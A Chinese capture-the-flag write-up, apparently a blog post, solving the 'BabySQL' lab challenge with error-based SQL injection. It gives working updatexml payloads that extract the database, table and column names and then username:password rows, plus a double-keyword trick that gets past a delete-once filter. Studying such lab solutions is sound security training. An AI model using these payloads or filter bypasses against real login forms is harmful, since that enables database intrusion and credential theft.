(SQL注入学习)无回显的报错注入(Error-Based)

**摘要:**本题主要考查对无回显的报错注入 实战使用方法。


目录

一、题目详情

二、解题思路及原理

1、登录绕过

[2、利用 updatexml 函数(爆库名)](#2、利用 updatexml 函数(爆库名))

(1)完整函数输入

(2)双写关键字实现绕过过滤机制

[4、利用 updatexml 函数(爆字段名)](#4、利用 updatexml 函数(爆字段名))

[5、利用 updatexml 函数(爆数据)](#5、利用 updatexml 函数(爆数据))


一、题目详情

题目来源:CTF²中的"极客大挑战 2019BabySQL"

靶机环境: 启动靶机,进入靶机http://bcb4835e85fc7c1a933a9d4d.http-ctf2.dasctf.com:80


二、解题思路及原理

1、登录绕过

万能密码失效,但可以得出(1)页面是不显示查询结果,但会显示 SQL 报错信息(2)是字符型注入

2、利用 updatexml 函数(爆库名)

复制代码
' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#

注:页面会报错:XPATH syntax error: ~test~,从而拿到数据库名。

  • and:逻辑与,把恶意条件拼进原查询。

  • updatexml(xml_target, xpath_expr, new_value) 是 MySQL 用来修改 XML 文档的函数。

  • updatexml 第1参数和第3参数:这里随便给个 1 占位,因为根本不打算真的修改,只为触发报错,无实际作用。

  • updatexml 第2个参数要求合法的 XPATH 表达式,传入非法内容时,会把内容原样带出报错:XPATH syntax error: '...';如果 XPath 格式错误,MySQL 会抛出错误,并把错误内容(即你传入的字符串)显示在报错信息里 。(通过看这个内容来判断我们的sql语句注入情况)

  • concat(0x7e, (子查询), 0x7e):把 ~ + 子查询结果 + ~ 拼成一个字符串,作为非法 XPath。

  • 0x7e 是 ~的十六进制,作为边界标记,方便从报错里截取有效内容

  • updatexml() 和 extractvalue() 函数在报错注入时,报错信息中能回显的字符串长度,最大就是 32 个字符 。(但为了能看到"~"边界标记,这里设置默认为30个字符)

测试:

(1)完整函数输入

  • 注意看那个报错内容,把我们的关键字进行过滤了(因为select不见了)。因为还不确定会不会过滤别的关键字,但经过测试会把所有关键字过滤。
  • 此外,从报错内容可以看到我们前面那个and和空格都不见了,说明还会过滤空格和and。

后续:通过 ||(或运算)代替and把注入语句拼进原有查询,空格过滤掉就不用写空格了。

复制代码
其实应该这么写,才能代替and把注入语句拼入原有查询
'||  ...  ||'
但后面我用用#把"||'"注释掉了
(2)双写关键字实现绕过过滤机制

过滤逻辑是「检测到关键字就删除,且只删一次」。绕过方法:把关键字自身嵌套进自己中间,删掉中间一份后剩余部分正好拼回原词:

原关键字 双写形式 删除一次后
select selselectect select
from frfromom from
where wwherehere where
or oorr(嵌在单词里) or
substr subsubstrstr substr
limit llimitimit limit

本题最大的坑:过滤器不分单词边界,直接删子串,所以会误伤正常单词:

  • information_schema 含 or → 被删成 infmation_schema → 需写成 infoorrmation_schema

  • password 含 or → 被删成 passwrd → 需写成 passwoorrd

如何诊断会过滤哪些词:

报错回显里缺了哪个词,下次就把哪个词双写。

报错信息会原样显示最终执行的 SQL 片段,对比自己提交的 payload 就能精确看出过滤名单。

经测试,需要输入以下的sql代码才能绕过拿到库名:

复制代码
'||updatexml(1,concat(0x7e,(selselectect database()),0x7e),1)#

3、利用 updatexml 函数(爆表名)

复制代码
' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#

子查询:

复制代码
select group_concat(table_name) from information_schema.tables where table_schema=database()

|----------------------------------|----------------------------------------------------------------------------------------------------------------------------------------|
| group_concat(table_name) | 聚合函数,把多行 table_name 合并成一个逗号分隔的字符串 。因为 updatexml 的第 2 参数只能接收单值 ,若直接 select table_name 会返回多行而报错,所以用 group_concat 把多行压成一行 |
| from information_schema.tables | information_schema 是 MySQL 自带的元数据数据库 ,tables 表记录了所有库对应的所有表的信息 |
| where table_schema=database() | 过滤条件:只取当前所在数据库 的表,database() 返回当前数据库名。 |
| table_name | information_schema.tables 里的字段,即表的名字 |

这个是标准写法,但前面得知已经是存在过滤机制的,故需要对过滤构建另一种写法。

复制代码
'||updatexml(1,concat(0x7e,(selselectect(group_concat(table_name))frfromom(infoorrmation_schema.tables)whewherere(table_schema='geek')),0x7e),1)#

|------------------------|------------------------------------|
| selselectect | 绕过「删一次」式过滤,删除后还原成 select |
| frfromom | 同上,还原成 from |
| infoorrmation_schema | 绕过对 or/information 的过滤 |
| 大量 () | 打断 WAF 正则的连续关键词匹配,同时不破坏 SQL 语法 |
| || | 替代 and/or,绕过关键词过滤 |

括号在 SQL 里本来就可用于包裹子查询/表达式:

  • (select ...) → 子查询,合法

  • (group_concat(...)) → 函数调用加括号,合法

  • from (information_schema.tables) → 表名加括号,合法

  • where (table_schema='geek') → 条件加括号,合法

结果如下:

拿到了两个表,根据做题经验,flag一般藏在b4bsql中。

4、利用 updatexml 函数(爆字段名)

复制代码
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表名'),0x7e),1)#

同上,这里不过阐述。

这个是标准写法,但前面得知已经是存在过滤机制的,故需要对过滤构建另一种写法。

复制代码
'||updatexml(1,concat(0x7e,(selselectect(group_concat(column_name))frfromom(infoorrmation_schema.columns)whwhereere(table_name='b4bsql')),0x7e),1)#

测试结果如下:

得到了字段名为id、username、password

5、利用 updatexml 函数(爆数据)

复制代码
' and updatexml(1,concat(0x7e,(select group_concat(字段1,0x3a,字段2) from 表名),0x7e),1)#

同上,这里不过阐述。

这个是标准写法,但前面得知已经是存在过滤机制的,故需要对过滤构建另一种写法。

复制代码
'||updatexml(1,concat(0x7e,(selselectect(subsubstrstr(group_concat(username,':',passwoorrd),N,30))frfromom(b4bsql)),0x7e),1)#

由于每次回显的是30个字符,故需要修改参数N依次取 1, 31, 61, 91, 121, 151, 181, 211

直到最后界面上显示的是~~,即为输出结果。

|------------------------------------------|-----------------------------------------|
| substr(..., N, 30) | 从第 N 位开始,取 30 个字符------解决 32 字符回显上限 |
| group_concat(username, 0x2d, password) | 把多行 username-password 拼成一行 |

N=1:

N=31:

N=61:

N=91:

N=121:

N=151:

N=181:开始出现flag了,就快拿到了

N=211:

其实这里已经拿到完整的flag,但我还想看看后面是啥。N=241:

看到出现"~~"显示输出结束的标志了!

相关推荐
Young Doro13 小时前
独立性检测学习任务
人工智能·学习·数据挖掘
TechWayfarer13 小时前
PHP漏洞被利用,怎么揪出攻击IP?
开发语言·python·tcp/ip·网络安全·php
终端安全笔记14 小时前
一份配置管十项 AI 功能:它关的是入口,不是数据
网络安全·ios·移动设备管理
卡卡~~15 小时前
“101计划”核心课程实践教材《数据实验结构指导-C++语言版》题目集
开发语言·c++·学习·算法
学逆向的15 小时前
C 多文件开发
c语言·开发语言·网络安全
学逆向的16 小时前
C 内存属性
c语言·开发语言·算法·网络安全
lengxuenong16 小时前
树状数组 · 信息学学习手册1-求和3个模板
c++·学习·算法·青少年编程
万联WANFLOW16 小时前
让分散的设备像在同一张局域网里:企业组网技术解析
运维·网络·网络安全·智能路由器
lanxiaoqing0217 小时前
演讲训练的第一步:先敢说,再会说
人工智能·学习·学习方法·口才
m4Rk_18 小时前
【论文阅读】Agent记忆机制(109):MemComposer——用强化学习学会选哪些记忆、选多少以及怎样排序
论文阅读·人工智能·学习·开源·github